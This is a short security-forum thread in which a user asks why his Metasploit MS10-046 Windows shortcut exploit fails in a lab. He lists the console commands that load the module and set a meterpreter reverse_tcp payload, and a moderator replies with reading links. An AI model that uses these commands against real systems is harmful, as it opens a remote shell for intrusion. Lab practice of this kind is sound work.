Results 1 to 2 of 2

Thread: Metasploit MS10-046 lnk exploit

  1. #1
    Just burned his ISO
    Join Date
    Feb 2008
    Posts
    3

    Default Metasploit MS10-046 lnk exploit

    Hello there,

    I have a question about the exploit mentioned above:
    I tried to set up the following:
    > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
    > set PAYLOAD windows/meterpreter/reverse_tcp
    > set LHOST <my IP>
    > set SRVHOST <my IP>
    > exploit

    --> exploit starts, an prints something like that to the screen:
    "send victims to \\<my IP>\foobar"

    Then I browse to this IP, or exactly this path, but not the expected part happens:
    In the IE 8, it says "Cant find the file \\<my IP>\foobar", and neither in the IE nor in the metasploit anything happens.
    When I browse to http://<my IP>, then the site loads, and metasploit says, "UNC redirect to <my IP>:<random IP>" - but nothing happens^^

    When I do the same with Firefox 3.6.3 (browse to \\<my IP>\foobar), then I also see "Cant find file".
    And when I browse to http://<my IP>, it shows something like this:
    http://<my IP>/\\<my IP>\foobar
    And in metasploit I see lots of redirects like "UNC redirect to <my IP>:<random IP".

    Hopefully someone sees the mistake I cant...

    greetz,
    tiger

    PS.: <my IP> ist the IP of the Backtrack 4 machine

  2. #2
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: Metasploit MS10-046 lnk exploit

    The problem is you are just blindly going about things without a full understanding of how they work.
    See also:
    Metasploit Unleashed - Mastering the Framework
    To be successful here you should read all of the following.
    ForumRules
    ForumFAQ
    If you are new to Back|Track
    Back|Track Wiki
    Failure to do so will probably get your threads deleted or worse.

Similar Threads

  1. Replies: 0
    Last Post: 03-16-2010, 01:00 PM
  2. B4$ final using metasploit 3.3.4-dev to exploit IE6
    By bostonlink in forum BackTrack Videos
    Replies: 0
    Last Post: 01-24-2010, 06:14 AM
  3. Metasploit XML Corruption Exploit
    By purehate in forum OLD Misc Tools
    Replies: 0
    Last Post: 10-01-2009, 01:45 PM
  4. Metasploit don't send the exploit !
    By vLov3r in forum OLD Newbie Area
    Replies: 3
    Last Post: 07-13-2009, 09:59 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •